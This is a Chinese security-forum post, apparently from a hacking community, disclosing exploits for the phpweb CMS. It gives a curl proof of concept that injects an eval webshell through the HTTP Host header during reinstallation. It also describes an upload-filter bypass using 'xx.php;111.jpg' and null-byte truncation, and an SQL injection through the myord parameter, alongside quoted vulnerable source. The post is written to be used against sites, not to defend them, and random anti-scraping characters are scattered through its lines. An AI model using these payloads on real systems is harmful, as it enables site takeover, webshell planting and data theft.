找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2376|回复: 0
打印 上一主题 下一主题

phpweb成品网站最新版(注入、上传、写shell)

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-4 19:45:35 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
注入:
6 u4 R9 \+ _: W% h" x3 W5 Q: ?
0 u# V% \5 T# r+ E" K" _' ?之所以鸡肋就是该漏洞利用安装文件 重新生成 配置文件 写入可执行代码
! }& _: W5 k3 ?1 H: Y. V+ d & O! U) M+ A$ I/ C+ j
鸡肋1: 具有破坏性 动作非常大 重新写了配置文件 数据库连接文件
4 {4 F0 T( h/ Y9 V鸡肋2: 有一定安全常识的站长都会删掉 install 目录
: G( Z2 l4 J  ?0 l 2 S% R- `3 s4 \* ^- e+ \
虽然鸡肋 但也有优点 : 不受 magic_quotes_gpc 、 webserver 影响& v; D* d; T, r: T7 S

3 Y0 D# s) }& I/ O# A% K! W分析:  Y2 C% ]: b( `, U% x) y
8 u9 e* [. r( e- f& M

; C' H- k8 m7 r+ W0 [& K$siteurl="http://".$_SERVER["HTTP_HOST"]."/";    //未过滤
" d2 L$ |. D% ~0 w 2 `1 v- y( Z, Z( z: r6 g  j+ x+ X2 `+ o
                                            $filestr = fread(fopen($SysConfigFile, 'r'),30000);
4 z2 ~' P! m$ P' _* j                                            $filestr=str_replace(" ","",$filestr);
8 j: ^) }1 G# ^3 N                                            $filestr=str_replace("DefaultDbHost",$dbhost,$filestr);
/ x- I4 X6 a" V9 K% \  j' {. [                                            $filestr=str_replace("DefaultDbName",$dbname,$filestr);& H3 Y2 n: f0 [" E) r  d4 @
                                            $filestr=str_replace("DefaultDbUser",$dbuser,$filestr);4 h  Q, n* i3 ?: x) \! p
                                            $filestr=str_replace("DefaultDbPass",$dbpwd,$filestr);- \9 h* A* b% s: B1 S# L6 i& E
                                            $filestr=str_replace("DefaultsLan","zh_cn",$filestr);6 `/ o" A: b; t/ u
                                            $filestr=str_replace("DefaultTablePre",$tablepre,$filestr);8 u; M( ^8 U+ e' _7 C! z
                                            $filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr);, b, X8 l3 i& K9 W% t8 v

( r! v2 Y! k0 m0 @                                            fwrite(fopen($ConFile,"w"),$filestr,30000);
% I2 P6 A/ m5 q/ \; R7 B$_SERVER["HTTP_HOST"] 就是 http head 中HOST传递过来的 可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^
. L$ Y( i$ J/ i+ P- @8 y / f( T1 D, M& z: y7 e1 O6 F
poc:' ~# _5 `& `: q; s8 P8 I

6 Y, |, ?. e8 A) L8 C; @3 W. D* ]?
+ g, x) a* t$ C+ c% _  h  t  k10 b  E, I/ m* L9 P+ Z6 {2 L
curl http://fuck.0day5.com/base/install/index.php --data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#"
' f8 ]7 A, I3 y, e: ^shell地址: /config.inc.php
0 z% a( N% r) ^- V跟之前的 phpcms一样 需要远程数据库
) ^- h3 g, U4 \" h6 U! f
, z  |* h" ?6 P1 O——————————————————–% {, F$ C" u! j) O
上传漏洞(需要进后台):: {! }/ w5 l6 X4 K* S
漏洞文件: /kedit/upload_cgi/upload.php
" @7 Z& B% K& O这个很多人都知道,但是很鸡肋 iis6 解析 或 GPC off条件下才可利用
: q2 y. q( v  T& P0 h0 p ' `1 e3 z! O+ P6 T

+ u& N; }' Z! {4 G: M2 J' j<?php
* W9 D! A1 c6 s5 O+ k0 A  \3 b    define("ROOTPATH", "../../");/ Y8 w. g! Y/ r
    include(ROOTPATH."includes/admin.inc.php");
+ x. E0 r# k& s: ~/ W! T; o    NeedAuth(0);
3 I0 U+ |- \1 t( v/ z1 ]$ v0 j 3 f. q8 g& V- j) j% o+ u9 i
    $dt=date("Ymd",time());
1 e% }3 L; W( `    if(!is_dir(ROOTPATH.$_POST['attachPath'].$dt)){
' L+ a6 n. `% t$ f+ ~% i; g  B            @mkdir(ROOTPATH.$_POST['attachPath'].$dt,0777);
4 b! t1 a! }3 Z    }
3 r+ X& H5 n8 o 6 y/ x' K2 d4 {
    //文件保存目录路径/ M. q' s% t& N* G
    $save_path = ROOTPATH.$_POST['attachPath'].$dt.'/';8 R; W1 \' C' \; C( |1 x
    echo $save_path;7 A( t8 j4 L$ z7 _% s7 K
    //文件保存目录URL% E* U" C% e  M$ y6 [
    $save_url = '../../'.$_POST['attachPath'].$dt.'/';
. z( _( l& w( h  H+ i0 W; X$ O
; g: N$ \! i9 C$ {    //定义允许上传的文件扩展名
, O( W/ H8 T5 @; p& G    $ext_arr = array('gif','jpg','png','bmp'); //限制后缀( G+ _5 M# {7 u7 B& j; b9 y% K
2 U1 e- ^2 [( @: `
    //最大文件大小7 B, D0 g/ d2 F' V4 r0 `; Q
    $max_size = 1000000;
$ c9 g, h4 G! U
+ b% Q' j4 e$ `7 b% F    //更改目录权限, u" q  t# Q7 i4 r
    @mkdir($save_path, 0777);6 w) |( @; H" K3 J

* ~& ?' N. |! S    //文件的全部路径
* }# x, @! Q- F; J1 R3 e    $file_path = $save_path.$_POST['fileName'];   //保存文件名) F! q  F+ \2 Q7 g, J8 q

, \. {7 m' h% m# |# T    //文件URL
' b: |: ~( t  ~, g+ K4 A' `    $file_url = $save_url.$_POST['fileName'];# v. F$ m7 ?1 ]8 j" ?; K
//有上传文件时; I' ?9 @1 |3 N! r# W
    if (empty($_FILES) === false) {4 l, r( j/ N6 Z! W6 m
! T* y. V+ f7 a2 A
            //原文件名0 r2 y6 \& c' j, o
            $file_name = $_FILES['fileData']['name'];6 ?# x5 U+ b; f9 V. A
            //服务器上临时文件名
( b9 e9 v$ ?/ m: S, i            $tmp_name = $_FILES['fileData']['tmp_name'];. V' `, d* x6 _) ~* ~
            //文件大小' H4 v5 v' V+ w& j6 A. J7 [
            $file_size = $_FILES['fileData']['size'];% S, E& m- c1 }7 p
            //检查目录
- D* g& f- O* m            if (@is_dir($save_path) === false) {% A2 ^' ~% T( N* X1 P! ~0 Z
                    alert("上传目录不存在。");
9 H* n$ h- b8 P( y            }/ ]3 i* Y+ P6 A
            //检查目录写权限
+ k, P( h. r, O8 \: V' P7 k            if (@is_writable($save_path) === false) {
) U8 s/ E0 v) F% v% p' b                    alert("上传目录没有写权限。");
1 C. T: P% Q* u) Z            }1 \- s1 I7 G/ y5 c6 a1 k
            //检查是否已上传
7 N6 W& H, w* R, R            if (@is_uploaded_file($tmp_name) === false) {. ~* \! j" k5 n
                    alert("临时文件可能不是上传文件。");3 D% p$ S) S2 _5 N
            }+ q# A9 e# h. a2 n7 Q
            //检查文件大小9 z& J5 @# g! W) P; X5 ]8 B) Y! e5 U
            if ($file_size > $max_size) {& L" ~# L. h! W( T4 V$ y
                    alert("上传文件大小超过限制。");
2 y6 h* ~( V- Y9 L( K: N6 R, J            }
; ]' \) @  U  `9 w4 @% _- `2 @0 r) p            //获得文件扩展名
; A- l8 T7 C. a3 p! f: o& t            $temp_arr = explode(".", $_POST['fileName']);
+ W% g! u9 A  S, N            $file_ext = array_pop($temp_arr);
$ B8 T& {" x) ^& h( s$ d  H% L            $file_ext = trim($file_ext);
$ {' _: r- B( N# }            $file_ext = strtolower($file_ext);! O5 Q5 W9 N% i- {* c4 v
4 \6 G1 n3 d3 u4 E
            //检查扩展名   5 L, j7 R( o: I2 A( C4 p
            if (in_array($file_ext, $ext_arr) === false) {     
' a% R9 e' ?" O4 B/ @                    alert("上传文件扩展名是不允许的扩展名。");
. W- {1 m5 l" p8 B( g4 A9 _9 F            }" o  k6 f& V7 B. F. o4 O6 t

( t: X' t* t( V0 Q            //移动文件   
- o) |( Y* V2 X. T  U            //未重命名 虽然过滤了 后缀   iis 6解析漏洞 ^ _ ^
* s8 j) @% ]% s2 }& l% s            if (move_uploaded_file($tmp_name, $file_path) === false) {; \4 G) ^: Z( R& O: [* W
                    alert("上传文件失败。");
5 D9 S. e0 @2 L7 i& Y# {            }: l6 S3 U  n, j0 O  L

, Z& |4 `! ~- U; d; V' I: c            @chmod($file_path,0666);
* r- \$ K. }3 ` : L( @5 r! l+ A' @- u
    ?>
& @* ?" Z- Q) n0 s" o/ |抓包改包 filename 改为 xx.php;111.jpg 即可突破或者使用http://www.0day5.com/?p=2278 ^+ E5 P, i# J7 u( e6 f3 }) u  I0 R3 l
: H2 t0 m- e) M6 F
apache 版本magic_quotes_gpc = off情况下可以考虑 \00 截断 绕过
/ I5 A" ^( I* L. `9 Z3 {  a
4 _2 A. b3 h' H4 n——————————————————% E3 s# j! d1 ?' L/ }5 p
注入漏洞:
3 x  g' \6 n4 q/ D& f漏洞文件:search/module/search.php
% M+ N% V- R6 {; o7 T  l/search/index.php?key=1&myord=1 [sqlinjection]
3 c* c4 L& Y6 M) L' O3 A' \# y3 V
& A  r0 L1 m9 R ; W/ Z) M) Q' K" g! L% v
<?php. h; N0 V: f) g1 ?
   //       ... 省略 n 行...; q& k0 z6 \) c
   //第18行:
8 j" H! s; C# O; s) H3 }  L           $key=htmlspecialchars($_GET["key"]);   //只是简单的将字符HTML 实体 编码   , mysql 注入不受此影响* a* S) h3 K' J9 P
           $page=htmlspecialchars($_GET["page"]);
$ b# T3 b  ?8 l/ y, m% D           $myord=htmlspecialchars($_GET["myord"]);6 B6 J! c" q8 N0 E; h

  ?- {2 }% L' m3 R+ K! a% O   //       ... 省略 n 行..., o8 @: ?( e: `& K
   $key,$myord 两个参数带入查询0 p% r5 I" K2 l  m4 }8 d
   //第47行 $key:
# _! P: l2 c. @1 B4 { 6 m4 _& Z# }# |0 e: Q9 M+ w; b
   $fsql->query("select count(id) from {P}_news_con where iffb='1' and catid!='0' and (title regexp '$key' or body regexp '$key')");  //虽然带入查询 但使用的 是regexp 不知如何绕过..
& \9 w" b1 S' q8 T$ O" N" { % t9 }: \9 c* Y/ k' Y5 v" l* ^- t
   //第197行 $myord5 E" P( G: V0 U2 Q6 Y* c3 x$ r1 ~
   $fsql->query($scl . " order by $myord desc limit $pagelimit ");    产生注入, s/ y& H2 ]( A. H' k2 v3 U

1 K9 w4 I, N, {2 ^) G   ?>
" }# b* y7 b' m4 ]% Y( X! D
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表